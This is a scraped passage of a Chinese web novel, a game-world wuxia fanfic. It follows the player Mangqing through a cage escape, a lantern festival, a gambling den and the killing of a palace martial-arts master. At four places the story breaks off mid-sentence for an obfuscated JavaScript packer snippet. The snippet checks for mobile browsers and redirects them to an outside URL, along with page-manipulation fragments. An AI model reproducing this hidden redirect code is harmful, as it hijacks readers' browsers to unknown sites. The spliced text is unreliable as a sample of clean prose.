芒青瞥一眼胸有成竹、态度嚣张的npc,沉吟着存了个档。 其实玩家也很好奇,真动起手来,断山剑能不能把精钢劈开。 …… 答案是能。 精铁与剑刃相触,发出一阵几欲将人耳膜震裂的刺耳巨响。 银白色的虹光一滑而过,如同一道撕裂夜空的闪电,近在咫尺。霍休本能地闭上了眼。 片刻,山腹之中恢复了安静。老人抬起眼皮,左右四顾。入目所及,一切仿佛仍是原先的模样。 不祥的沉寂持续了两息,伴随着细微的咯嚓声,霍休面前的笼身骤然分崩离析、四分五裂。 切口平滑,钢筋零落地掉在地上,发出一串犹如风铃般的脆音。 铁笼外,黑衣少年持剑而立,垂着眸,不知在想些什么。 阳光下看她,只觉其肤色白皙、莹润。但在这阴森的暗室之中,竟诡异地显出了几分鬼魅般毫无血色的苍白。 年轻人的眉极浓、唇极艳,嘴角的弧度天生上扬。如此低眉敛目,姿态分明酷似龛中的佛像,却无法让人感到半分亲近。 刺骨的寒风刮拂而过,仿若阎罗的吐息。霍休的汗毛陡然竖了起来,心脏却一分一分地沉了下去。 * 正如霍休所预想的那样,铁笼里的机关启动后便会封死。 甬道的出口在一片隐秘的灌木之中,走出来的却并不是建造它的主人。 日头西沉,只剩半边露在地平线之上。司空摘星撩开面前的枝叶,被橙红色的夕阳晃到了眼。 他下意识走在了前面,而后才回过神,侧身去回望后面的人。 芒青没有注意到他的动作,顺手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238047|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把一旁挡路的荆棘拨到了一边。 粗短的小刺从手背上划过,留下几道浅淡的白痕。 黑马悠闲地低头揪着地上的草叶,舌头一卷,叶片便消失在了长嘴筒里。见到主人,它立刻殷勤地凑了过来,“咴咴”叫了两声。 远处,云雾簇拥着层峦,夜色还未降临,天空显露出了一种宣纸般的本白色。浅青色的山影被黄昏的落日点染成了一片灿金。 陆小凤和司空摘星又因为一点小事闹了起来,两匹马不堪其扰,哒哒地跑到了一边。芒青和花满楼牵着缰绳,慢悠悠地跟在二人身后。 他们的影子拖得很长,斜斜地映在地上,偶尔分开,又很快重新交错起来。 笑声和交谈声被清风吹卷着,拂过低矮的花朵,经过嫩绿的树梢,一点一点送向了远方。 * 夜晚,华灯初上,火红的绸布高悬枝头,也映进了粼粼江水之中。 长长的石桥上熙熙攘攘,锦靴和布鞋踏过同一块青石地砖,华服和粗衣经过同一处石栏。各色各样的花灯令人应接不暇。 城郊山上的庙宇里偶尔有零星的香客放出天灯,点缀在繁盛的星空之下。 几个举着兔子灯的孩子相互追赶,嬉闹着从人群中穿梭而过,仿若一条条灵活的小小游鱼。 楼阁之上,有人将铜板一撒而下,激起整条长街的热闹哄抢。 酒楼的掌柜笑容满面,高举双手吸引食客们的注意,朗声宣布今日的酒水免单,堂中立时响起一片喝彩叫好声。 陆小凤把酒盏凑在唇边,却迟迟没有动作。他看着下方热闹喧腾的景象,不由奇道,“我过糊涂了?难道今天是什么节日不成。” 司空摘星道,“我来时听了一耳朵,知府的儿子今天成亲。” 陆小凤随口问,“新娘子是哪家的姑娘?” 司空摘星瞥他一眼,哼笑,“熟人。巡抚大人妹婿家的孩子。” 陆小凤回忆一番,“商家?” 司空摘星扬了一下眉,表示默认。 闲谈一阵,两个好朋友又开始较着劲比谁接的花生米最多。直到碟子里的花生见底,胜负也仍旧未分。 陆小凤仰脖的时候岔了凉气,此刻正埋头猛灌热茶。 司空摘星落井下石,嘎嘎大笑,不过一会儿也开始打嗝。笑容转移到了陆小凤的脸上。 花满楼坐在一边,无奈地摇了摇头,“只怕菜还没上齐,你们的肚子就已经要填满了。” 闹够了,陆小凤摸摸下巴,“芒青姑娘怎么还没回来。” 司空摘星打快板似的把话一口气说完,言毕,又再次把气憋住,不让嗝跑出来,“人这么多估计挤不过来。” 陆小凤沉思,“早知道我们也跟着去逛逛。” 话音刚落,耳边的木窗便被人轻扣了两声。 陆小凤寻声回头,方才正念叨着的人竟然就这样出现在了他的面前,眉目舒展、笑眼弯弯。 少年人身着一身月白色常服,银色丝线在布料上勾勒出青竹和云纹,翠玉色带钩束在白色的腰封外,玉佩下悬挂着两只小小的冲牙。侧看腰线细窄,正观宽肩舒背。 此刻,她就微微弯着腰,左手的食指关节还抵在窗棂上,右手平举,掌心向上,做出一个邀请的姿势,彬彬有礼道,“公子肯赏光与在下同游吗?” 陆小凤睁大了眼。 河对岸,烟火嘭然炸开,映亮了漆黑的夜空,片刻后,缓缓化作了漫天绚丽的流星。 37.第三十七章 * 司空摘星就像是被人在屁股后面点了一把火一般,陡然从椅子上窜了起来,飞起一脚把陆小凤连人带椅子一起蹬到了一边,自己将手搭了上去。 年轻人的指尖温凉,两只手碰到一起,偷王之王不由自主地哆嗦了一瞬,又下意识握得更紧,“他不去!菜齐了,我叫他们端上来,等吃完饭我陪你一块儿!” 芒青原本也没打算去,只想耍个帅,顺便逗逗他们。 闻言,她轻轻挑了一下眉,却并未解释,从善如流地从窗口翻身而入,“好。” 陆小凤罕见地没有对司空摘星的大不敬行为施以还击。 他坐在椅子上,竟像是呆愣住了,好半天都没有反应。 司空摘星装作不经意地路过,狞笑着狠踩了他一脚。灵犀一指这才如同大梦初醒般回过了神,凭借着积年累月养成的对付该损友的肌肉记忆还以颜色。 两人立时又闹腾在了一起。 待酒菜上齐,众人动筷时,陆小凤仿佛已重新变回了曾经的那个浪子,看起来同往常并没有什么分别。 * 花满楼的吃相很斯文。 别人说话的时候,他总是会停下自己手里的动作,却并非是什么类似“食不言寝不语”的缘故。 他不是话少的人,只是习惯了倾听。无论做什么事情,花满楼一直是既用心、又专注的。 无论是谁,见到花家这位失明的七公子时,都是不肯相信他是一个真正的瞎子的。 只有芒青。 她似乎从来没有产生过这样的疑惑。在她眼里,看不见从不是什么大不了的事情,也从不代表残缺。 无论失明与否,花满楼都是花满楼。 少年人的照拂,就像是对待一朵被雨打湿的花、一颗被人踩歪的草。 芒青会把花瓣上的雨水抚落,也会在经过草叶时绕道而行,却不会停下来替花挡雨、给草移栽。 因为她知道,暴雨过后,花会更娇艳;野草也终会重新将叶片舒展。 前二十年的人生里,花满楼总是受到亲人的怜爱与呵护,所以,他搬出了花家,居住到了百花楼里。 他还没有遇到过芒青这样的人。在这世间,如她一般的人也绝不多见。 无论是瞎子、聋子、瘸子还是浪子,世人都总是更容易被这样的人所吸引。就像趋光的飞蛾。 所以,在觉察到好友的异样时,花满楼并不惊讶,心底反而涌起了一股预料被印证的释然。 只不过,今天的茶水似乎格外苦涩。 * 酒足饭饱,司空摘星和芒青果然要去城里逛一逛。陆小凤和花满楼自然随行。 少年人的身姿挺拔颀长,白色常服更显面若冠玉、皎如玉树。无论是街边的摊贩、还是过路的游人,都忍不住频频向她投来目光。 灵犀一指在给他的好朋友数桥上的兔子灯,偷王之王在一处卖扇的小摊前驻足,芒青则在一旁弯着腰细看草编花环。 司空摘星展开一只折扇,伸长手臂在芒青的身前比了一下。年轻人面露困惑,但还是配合地直起了身。 摊主是一个蓄着须的老文人,大抵曾经进过学,写得一手好字。 司空摘星把扇子合上,问,“怎么卖?” 老人看了看他,又看了看芒青,笑眯眯道,“十文钱。” 司空摘星摸了十个铜板出来搁在木板上,拿着折扇凑到少年人身边,把礼物递给她。 芒青扬眉,接过来拿在手里仔细地瞧了瞧,眉眼弯弯,“多谢。我很喜欢。” 送礼的人反而不好意思起来,避开她的视线,假装很忙地去一边拣花环看了。 …… 陆小凤已经从兔子灯数到了走马灯。 民间走马灯的图案大多由剪纸构成,算不上精美,却也有自己的巧思。 一家小摊前的走马灯在青石上映出了投影,灵犀一指就跟哥伦布发现了新大陆一样,兴奋地说个不停。 花满楼专注地侧耳倾听,忽觉头顶一沉。 他早就觉察到了芒青的脚步声,在自己还未察觉的时候,眼底已先含上了三分笑意,却没料到会有这样的突发情况,不由抬手去摸,“是什么?” 芒青道,“花环。” 花满楼面露讶异。 身前传来轻微的、衣料摩擦的声音,少年人似乎离得更近了些许。他下意识地屏住了呼吸。 暖色的灯火映亮青年的眉眼,更显温文端方。粉白色的花瓣点缀在发间,增添几分娴静。 芒青中肯点评,“很漂亮。” 花满楼的面庞似乎也被灯烛染上了晕红的色泽。他用指腹轻轻触碰了一下这只出人意料的小小礼物,“多谢,我很喜欢。” 前不久,这句话才刚从另外一个人嘴里说出来。司空摘星眼皮一跳。 陆小凤没注意到他的表情,指着好友的脑袋哈哈大笑,“老黄瓜刷绿漆,你装什么嫩呢。” 话音未落,一不留神,自己头上也被放了个花环。 四条眉毛正要抬手去摘,司空摘星仿若不经意般提醒道,“芒青买的。” 陆小凤的笑容有一瞬的迟滞,紧接着,他一把将花环拿了下来,神色如常,笑骂道,“猴精,我又不是不懂事的小孩。” 司空摘星听懂了他的弦外之音,于是也笑了。 他说,“陆小凤,你有没有听过一句话。” 陆小凤问,“什么?” “一个人若是意识不到自己是一个混蛋,那么他一定就是一个混蛋。你现在就是这样一个没有自知之明的混蛋。” 陆小凤的笑容浅淡了下来,他沉默半晌,道,“我们是朋友。” 司空摘星眺望着远处闪动着波光的江水,道,“正因如此,你的所作所为才更像混蛋。我是你的朋友,你难道就不是我的朋友了么?” “但我却并不只有你这一个朋友。” “花满楼一定也是这样想的。” 他们注视着彼此,少顷,忽然一齐畅快地笑了起来。你捶一下我的胸,我踢一下你的腿,依然还是那对值得相互交托后背的好朋友。 * 江南素来被称为鱼米之乡、膏腴之地,可天下学子最心向往之的,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“慎言。” 御史大夫的语气虽然严厉,却并没有反驳中年人的话。 两人又东拉西扯地开始闲话庶务和官场交际。司空摘星像一只正处在捕猎状态的大猫,耐心极足,愣是等到烛火熄灭、父子二人相继离去,才悄无声息地翻窗而入。 不过数息,他就转着毛笔从屋里脱身而出,“走。” …… 两人回到客栈,司空摘星把这根价值百金的毛笔装起来收好,准备择日交给雇主。 第二天,干完坏事的偷王之王换了一张脸,带着芒青去吃了他说的那家做鱼很有一手的食肆。 说是食肆,可是,能开在京城里的,哪个又没有家底呢。 这家店曾经便是淑妃母家的产业。 淑妃乃是翰林院掌院学士的次女,数十年前嫁给还是皇子的圣上为侧妃。当今登基后,仍盛宠不衰,圣眷之恩浓,只怕如今的姚美人都要避其锋芒。 自从三皇子薨逝,淑妃就逐渐有了失宠的迹象。上行下效,臣子们试探几次,摸清上意,便也跟他们家疏远了关系。 但常言道瘦死的骆驼到底比马大,淑妃若是位份还在,跟前总归是不会缺想攀关系的人的。只可惜接连的几次打击似乎让她彻底失了精气神,大病一场,撒手人寰。 淑妃死后,皇帝既无追封,也没有照拂母家的意思。两月后,其父上表乞骸骨,成全了君臣的体面。 38.第三十八章 * 偷王之王游遍大江南北,品尝过的美食珍馐数不胜数。这家食肆能得他青眼,必定是有些过人之处的。 室内装潢雅致,分为上下两层,所设皆是包厢,未有前堂。 小二笑容满面,周到又殷勤。菜品的价格自然也配得上店家的服务。 浅色瓷碗中盛着奶白的鱼汤,鲈鱼剔去了鱼刺,切做细丝,入口嫩滑。香菇和竹笋点缀其中,蛋花轻薄如蝉翼,更添几分鲜甜。正是宋嫂鱼羹。 钱塘江捕获的鲥鱼肉质甘美,与火腿、春笋一起上锅蒸熟。揭开蒸笼,白瓷盘中的鱼鳞如同水银般华彩夺目,撒上红椒和葱丝,成就一道清蒸鲥鱼。 纵使在游戏里吃东西不加血量、感受不到饱腹,玩家也还是很给面子地吃完了。 伙计将二人送出食肆,司空摘星和芒青并肩行了一段路途。 气氛安静而沉寂。司空摘星的手试探地向旁边偏去,又在触碰到少年人之前犹豫地收了回来。 如此数次后,他终于还是暗叹一口气,苦笑着松懈下了紧绷的肩背。 玩家感受不到npc的复杂心绪。她在很认真地思考新获得的主线线索。 最终,还是偷王之王先停下了脚步,转过身看着芒青,说,“我要走了。” 他故作轻松地耸了一下肩,“一手交钱一手交货。雇主给了定金,我得把东西送回去。” 芒青抬起双臂,两手随意地交叠到一起,在半空长长地伸了个懒腰。 闻言,她“啊”了一声,回眸瞧一眼,理所当然地点了点头,“我知道。你一向很守诺。” 司空摘星的目光落在年轻人的身上,沉默半晌,忽然问,“我们还会再见的,对吗?” 芒青很认真地说,“如果你想,那就一定会。” 司空摘星勾了一下唇角,半开玩笑道,“难不成是有佛祖听得到我许愿么?” 芒青微微斜侧了一下头,如玉般的面庞在阳光下更显莹润,“我不知道佛祖能不能听到,但是如果你想见我,我一定会过去。” 毕竟佛祖存在与否是不确定的,但游戏系统能显示前队友的状态却是肯定的。 司空摘星一愣。 转瞬,他脸上的笑容便更灿烂了几分,“如果我们相隔万水千山呢?” “你多等一等,我会到。” 古人言“轻诺必寡信”,芒青绝不是这种会轻易许诺的人,因此,她的诺言便总是显得格外珍贵、也格外郑重。 她说等一等,等待的那个人就一定能得到自己所期望的结果、等到他想要看见的人。 司空摘星的眼睛很亮。 这个被灵犀一指戏称为“猴精”的男人,此刻竟露出了一个带着几分傻气的笑容。 他专注地望着芒青,很缓慢地眨了一下眼,像是要把面前之人的模样映进比眼底更深的地方,“还是不要了。” “想见你的时候,我来找你。”他说。 * 京城里最不缺高官勋贵,世族子弟中又总不乏有一些纨绔之辈,整日游手好闲、斗鸡走狗。 更有甚者横行无忌、仗势欺人。只是小民的疾苦与冤屈一向少为人所视,纵使神侯府有心,也无力一一伸张。 这些人最常往来的地方,除了酒楼,便是赌坊了。 纵然现下还是光天白日,朱漆大门之外,车马往来仍旧络绎不绝。 踏进门槛,一股混合着复杂熏香气味的汗臭扑面而来。 身处其中的人无论是老还是少、无论是名门之后还是贩夫走卒,俱都个个表情亢奋、面红耳赤,额颈生汗。 芒青环视四周,走到了比大小的台前,撑了一只手在案上,饶有兴致地观摩一阵,便推了一枚碎银过去,押“小”。 荷官的眼皮好似不经意般掀起了一瞬,视线在少年人的衣饰上一扫而过,又很快落了下去,继续专注地摇动手里的骰笼。 新的一局很快开了。输光了钱又不愿意就此离去的赌徒们好似一只只嗅到了腥腐味的鬣狗,蜂拥着围了过来。 笼子掀开,三枚骰子分别是4、3、5。 第二局芒青押了“大”,结果仍旧不出预料。 第三、四、五、六局也还是输了。 她身边的人少了。赌徒们大多都是不愿意跟赌运不好的人挨在一处的,生怕自己因此染上了霉运。 赌场内有人连输,便有人连赢。此刻,芒青的对面就坐着一名一直在赢的赌客。聚在他身边的人也最多。 骰子旋转着碰撞在笼壁上,发出丁零当啷的清脆声响。 越来越多的人俯下了身子,眼睛紧紧盯着在半空中晃出残影的骰笼,直到它“啪”地一声扣在了桌子上。 芒青撑着腮,照旧放了一块碎银过去,押了小。 骰盅掀开,三粒骰子安静地躺在中央。九点。 第八局仍是九点。此后五局,芒青的运气仿佛触底反弹了一般,不仅将此前输掉的银两赢了回来,甚至还多赚了一小笔。 她下注的金额也越来越大,从碎银到银元。直至第十五局。 笼盅放在了桌子上,骰子被惯性牵引着,仍在不停地哗啦作响。 芒青的目光百无聊赖地落在荷官开盅的手上,忽然若有所觉般抬起了眸。 她和对面那名赌运颇好的客人对上了视线,动作微顿,露出一点浅笑,轻颔一下首,算作招呼。 那人愣了一下,也懒洋洋地笑了,同样略点一点头回礼。 荷官揭开了手,一粒停得不太稳当的骰子滚了一圈,正巧从5翻到了6。一共11点,大。 几个跟着芒青下注的赌徒立时嘶声高喊了起来,扼腕不已,目露绿光。仅仅只隔毫厘之差,他们就能赢了。 芒青输了钱,面色分毫未变。荷官眼底飞快地闪过一抹得意之色,视线随意地在她身上一扫,却不由得凝滞住了。 赌坊之所以开得起来,便是利用了人性的弱点。总有人认为自己差一点就能赢,反而因此越输越多。输得愈多,便愈渴望收回本钱、愈难抽身。 荷官就在营造这样一种“几乎快赢”的错觉。但npc不会想到,他心里的“肥羊”只是一个挑耗时短的赌局刷技能熟练度的玩家。 身着锦衣的年轻人就像是摆弄够了旧玩具的小孩子。感到腻味便走得毫不留恋,转身又跑去看别人玩六博了。 熟悉规则后,她坐上了赌桌。 这一次,她掏出来的是一把金锞子。 见到金子,便立刻有人坐在了这出手格外阔绰的年轻人的对面。 来人穿着一身并不算合身的锦袍,袖口和衣摆处俱有磨损的毛边。如若不是落魄的世族子弟,便是显贵身边的红人了。 芒青的视线在他头顶略微一顿,眉眼舒展,笑意盈盈。 第一局芒青输得不出所料。 第二、三局也仍旧输了。 冤大头难能遇见,对手已经看出她是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260412|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新手,双眼里顿时爆发出了两点兴奋的光芒。 第四局,芒青赢了。 对面人的神色不是很好看,却也没有太将她这偶然的胜利放在心上。二人很快又开了一局。 芒青又赢了。 终于把技能熟练度刷高的玩家扬眉吐气,此后十余局未尝一败。 对面之人却输红了眼。谁也没想到,这人其貌不扬,出手却很是阔绰,短短几炷香的功夫,已赔了将近百两黄金出去。 他数次加码,为的就是一举翻盘,此刻盘尚未翻,自然不肯甘心,还待再开一局,伸手一摸,这才发现囊中竟已空空如也。 围观的赌客见此情形,俱都哄笑起来,推撵着让他腾地儿,更有好事者故意说些激将的话,引他押些东西来抵。 耳边萦绕着的喧嚷逐渐汇聚成一团模糊的噪声,眼前的画面仿佛也阵阵扭曲了起来。赌徒面色发青、嘴唇煞白,目光死死地钉在芒青身上。 他豁然站起身,拨开人群,大叫一声“你等着”,就跌跌撞撞地奔了出去,脚步踉跄、形若癫狂。 少年人捻起一块金子轻轻颠了一下,手指一拢,那枚散着金光的元锭便被彻底遮掩住了。 落在她身上的目光有打量、有审视。更多的则是贪婪与垂涎。 芒青却没有再继续玩下去,右手一撑刀柄,左手抛给身边伙计一颗碎银,转身同样离开了赌坊。 她走了没多久,脚下一晃,便踏进了一条小巷。 巷子两边的院墙很高,遮挡了阳光。石缝的荫蔽处生着薄薄一层苔藓。 靴底踏在地面上,月白色的袍角拂过小腿。玉佩随着步伐摇动,两枚冲牙相互碰撞,发出清脆又细小的叮当声。 忽然,叮当声停了。 系统地图上,一个代表标记的白色小点极速迫近,突兀地出现在了玩家背后。 跟过来的是一名才见过面的老熟人,那名运气颇好的赌客。 他到得悄无声息。这天底下,能做到前行而不发出声音的武林好手绝对不多。 寻常人若是发现自己的身后凭空冒出了一个大活人,必定是要骇上一跳的,腰配长刀的少年却没有露出多少惊讶的神色。 她只是重复了一遍先前在赌坊内做过的动作,含笑颔首,文质彬彬道,“又见面了。” 男人身量高大,两条长腿尤其粗壮结实,穿着一身破旧发白的布衣,磨损最为严重的绑腿上沾满了灰土。这副模样实在算不得体面,但他的相貌又很好地弥补了这一点。 杂乱的青茬覆盖住了他的下半张脸,却更为此人增添了几分落拓的不羁与肆意。 男人笑容满面,又带着一点吊儿郎当的气质,道,“你好你好。” 打完招呼,他忽而又敛起了笑,神色郑重地提醒道,“那个人是长平侯的近随。” 芒青表情自若,很认真地点一点头,“我知道。” 毕竟,从一开始,系统面板就一直闪烁着提示的荧光。 【侯爷的亲随乔五近来行踪很是诡秘,曾有邻居听到他与其妻贾二在房中争执,更有甚者目睹贾二在当铺典当了自己的首饰……该线索提供自不愿意透露姓名的侯府随从】 男人瞧了她一会儿,又笑了起来,爽朗地露出一排白牙,“长平侯好像不太好惹。” 芒青轻轻弯了一下眉眼,风度翩翩、温文又含蓄,仍旧说,“我知道。多谢。” 没关系,玩家会告诉反派什么叫铁板。 39.第三十九章 * 男人的目光落在芒青脸上,不知打量出了什么,忽然露出了一点了然的神色。 “我叫追命。”他笑呵呵道。 年轻人略一欠身,“在下芒青。” 纵使腰间别着长刀、身后负着重剑,但此刻,褪去了冷硬的劲装,她看起来就全然是一副文人的模样了。 锦袍更衬得少年人皎如玉树,有种温润的书卷气。 假使把芒青放进世族公子、小姐们的雅集里去,也绝不会显得违和。 倘若告诉不那么懂行的人她是一名武功不俗的游侠、一名能在五十招内击败西门吹雪的剑客,只怕无论什么人都是不愿意相信的。 “芒青?”自称追命的男人重复了一遍这个名字,扬起眉头。 倏忽间,仅是一眨眼的功夫,巷中的人影已经只剩下了一个。 追命来得无声无息,去时的身形也极快极稳,像一道灰色的风,人掠出了数丈,带着笑意的声音才将将在原地飘落而下。 “好,我记住了。” 送走了一个不速之客,芒青又陆陆续续地遇到了十余名同样不请自来的人。 这些人中有赌坊聘请的打手、有目睹她赢下黄金的赌徒、有受人雇佣前来劫道的地痞。 红名小怪数量虽然不少,但却俱是一群乌合之众。况且,三十年河西,今非昔比,玩家也早已不是曾经打三十级小怪都要斡旋上一阵的那个她了。 铁刀没有出鞘。 虽说蚊子腿再小也是肉,不过按照策划的尿性和游戏宣传的超高自由度,总感觉闹出人命后会衍生出一些玩家不太想见到的后续剧情。 比如又扣50声望值。玩家心里永远的痛。 纵然在解决第二个副本后,声望值已经升到了一个较为可观的数字,但距离解锁游戏的[天下谁人不识君]成就实在还差得很远。 惨遭战力碾压、被不幸击倒的炮灰npc捂着脸瘫在地上痛吟。 芒青去临街的商铺买了一块棉布,把刀鞘上沾染的口水擦干净。 一抬头,便又看见了一个熟悉的身影。 一两次的偶遇是巧合,第三次就绝对是有人在“事在人为”了。 追命举着酒葫芦吨吨痛饮。这个名动天下的捕快,此刻看起来就像是一个再朴素、落魄不过的酒鬼。 他原本就是一个酒鬼、一只醉猫的。 两个人都看见了对方,一个照旧颔一颔首,另一个咧嘴一笑。 他们什么都没有说,一个把酒葫芦揣在怀里往东边的小巷中走,另一个把刀重新佩在腰间往西边去,二人便就此别过了。 追命进了小巷,便停住了脚步。他鞋边的地面上倒着一排正在哀嚎的犯罪嫌疑人。 这些人的手脚被一根就地取材的麻绳连着捆了起来。原本放着绳子的地方,此刻多了两枚小小的铜板。 追命只需握住绳子的顶端,就能把这一串人牵着带去官府,实在省力又省心。 他在原地站了一会儿,忽然捂着肚子哈哈笑了起来。 追命笑够了,拔出木塞,仰头又灌了一口酒,看一看地上的人,乐道,“走罢,去衙门。” * 漏夜,长安街上,身材瘦弱的老人提着灯笼、敲着梆子。 蜡烛晕黄的光线透过毛边纸落在青石地砖上。拖曳着的嘶哑嗓音在长街中回荡,不时伴随“笃笃”的敲击声。 “天干物燥,小心火烛——” 听到这句话,人们便知晓此刻该是一更天了。 紫禁城中,值宿的禁军身披锐甲、手持长戟,靴底踏在地面之上,脚步整齐划一。 蔺原识已年近六旬,少时名震一方,两只卧虎拳当真虎虎生威,不知断送了多少江湖好汉的性命。 如今他身为朝廷供奉,名号更为响亮。旁人见到他,不仅要尊一句武林前辈,更要敬一声大人。 皇帝身边的能士众多,蔺原识受到的器重和赏识却是独一份的。 他不仅领戍卫圣上的职务,更兼有训练、培养皇家的特务、死士之责。 如今,蔺原识不再年轻,须发俱皆花白。 他的背影仿佛就像是一块冷硬的顽石,一双虎目却仍旧如同从前那样炯炯有神。这让他看起来又不像是一块石头了。 况且,世间也从不会有哪一块顽石穿着由金丝线织成的衣服、蹬着由鹿皮制成的靴子。 蔺原识静静地坐着。 红色的烛泪顺着烛身滑落下来,干涸在烛台之上。 火焰燃烧,发出了一点极细微的噼啪声响。 蔺原识霍然站起了身。 闻声,他的两名徒弟立刻一左一右推门而入,恭谨拱手,道一声“师傅”,垂首听令。 老人眉心的皱纹很深,仿佛两道经年累月的深刻疤痕。纵使用手去抻,也是抚不平的。 “有人来了。”他说,“你们该去会一会。” 二徒躬身一礼,即刻退了出去,运起轻功,几个起落间便不见了踪影。 蜡烛上的火光燃烧得更旺盛了。 熊熊烛泪争先恐后地涌出来。有些凝固在了中途,有些则顺利地在铜器上重新形聚。 蔺原识等待了很久。 最后,他终于确定,他的两个徒弟再也不会回来了。 他又一次站起了身。 就在老人长身而起的那一瞬间,房门无风自动,豁然洞开。 穿堂风吹熄了烛火。蔺原识的五官掩藏在黑暗之中,仿佛也笼上了一层阴翳。 他一步一步,稳健地踏出了屋子,鼻翼翕动两刻,便像是一只闻见了血腥味的鲨鱼一般,展开两条手臂,飞身朝西而走。 蔺原识找到了他的徒弟。 分别前,他们还是两名有着大好前途的得意中年人。此时再见,却已变成了两具冷冰冰的尸体。 老人站在尸身前。一个徒弟被砍掉了脖子,另一个被一刀穿胸而过。 这里不仅有他的徒弟,还有他的同僚、他同僚的徒弟、徒孙们。 几乎是修罗一般的惨状。即使是武林中人,也很难在同一时间见到如此之多的死人。 这些尸体的致命伤无一不是由长刀劈砍所致。 蔺原识没有一分一毫的动容。他看得很仔细、很认真,仿佛要透过这绚绽的皮肉看清对手的模样。 敌人并没有给他机会琢磨太长时间。好在他也并不需要思考很久。 江湖之中,有一部分高手喜欢先发制人。他们认为这就像是下棋一般,先手的胜算更大。 蔺原识不巧是另一部分人。 他总喜欢等对方先出手。这个阅历深厚的老人相信招式是不可能没有破绽的,先手就相当于是将自己的弱点暴露给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260413|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌人。 蔺原识也的确很会捕捉漏洞。这也是他能够达到现在这个地位的秘诀之一。 这名深受宠信的皇家供奉绝对能在今后的日子里继续保持这样的地位,或许还能再升上一升,但他本人大抵是很难再享受得到那些富贵荣华了。 毕竟地府这玩意是否真正存在着实是有些难说。 蔺原识的一双卧虎拳重若千斤。曾有杀猪的屠户撞见过被他两拳打死之人的尸体,那莽汉当场就被吓得涕泗横流。 人若是用肉身去跟他的拳头硬碰硬,不仅撼动不了面前的人,自己反而会倒飞出去,内脏也会被跟着震碎。 若是落在树干上,树便得凹陷下去;若是落在地上,地面便要多出两只血淋淋的拳印。 只因这拳头的劲风霸道连绵,竟能破体而出,打不穿地面,就会反弹回去。 这样的人,在武林之中,已是足够让人闻风丧胆、望风而逃的狠角色了。但是在系统面板里,却只是一个区区38级的中级boss。他还得练。 月色像湖水一样,又冷又凉。刀锋也像月色一样,将清辉撒了满地。 “噌”的一声,拳头别开铁器,刀尖在墙面上擦出了一捧火花。 蔺原识心头一凛。来了! 几个呼吸之间,他已同敌人过上了十七八招。 刀光在空中留下了道道残影。拳头亦如是。 蔺原识的心脏疯狂地跳动着。这个身经百战、像猛虎一样机敏狡诈的老人已产生了一股极度不祥的预感。 下一瞬,他的预感立刻得到了应验。 迫近的寒芒映出了少年人清俊的眉眼。 蔺原识的心顿时跌入了谷底。他狂吼一声,再不敢有所保留,猛然挥起一拳,使出了自己的看家本领。 来人没有戴着任何能够遮掩五官的面饰。这只意味着两件事。 或许她根本没有想过活着回去。也或许,她根本没有想过让他活着回去。 无法活捉固然可惜,但就地击毙也算将功补过。蔺原识唯独害怕最后一种可能得到应验。 密集交错的拳影像是一张不透风的大网,霎时笼罩住了芒青身上的几处大穴,声势何止千钧。 蔺原识的脸上忽然炸出了两点星光,浮现出了一种只有人杀人的时候才会显露的扭曲笑意。 下一刻,这尚未成型的笑容就彻底僵在了他的脸上。 雪白色的刀光犹如一道银虹,硬生生撕裂了拳网,劈向他的面门。 蔺原识猝不及防,大叫一声,只来得及避开自己的脖颈要害,其他地方却再躲不过去了。 侧脸陡然一凉,他却仿若未觉,只怔怔地低头去看自己的胸膛。 第二道刀光不知何时已经闪至。刀身没入三寸,正钉在蔺原识的心脏之上。 老人迟滞的目光缓缓地挪移到了地面上,看到了一只覆满了沧桑皱纹的干瘪断耳。 血液一滴滴地浸在那双昂贵、华美的鹿皮靴上,有一些是从胸前坠下,还有一些自耳际流经面颊,淅淅沥沥而落。越聚越多,很快汇成了一小滩黏腻的血洼。 蔺原识注视着这些猩红色的液体,恍惚间仿佛又看见了那一颗颗顺着烛身滚落的火红烛泪。 他仰面倒在了地上。 烛泪淌尽了,烛火也燃烧到了终点,一寸寸地黯淡下去,直至彻底熄灭。 40.第四十章 * 蔺原识常听人说,将死之人会看见此生中的许多重要时刻,就像孩子手里旋转着一一展示图案的走马灯。 可真正到了死亡降临的前夕,蔺原识却并没有如戏文中所说的那样,回顾了自己曾经的辉煌与失意。 他只是静静地倒在地上,等待自己变成一具再也无法行动的尸身。就像许许多多死在他手下的人。 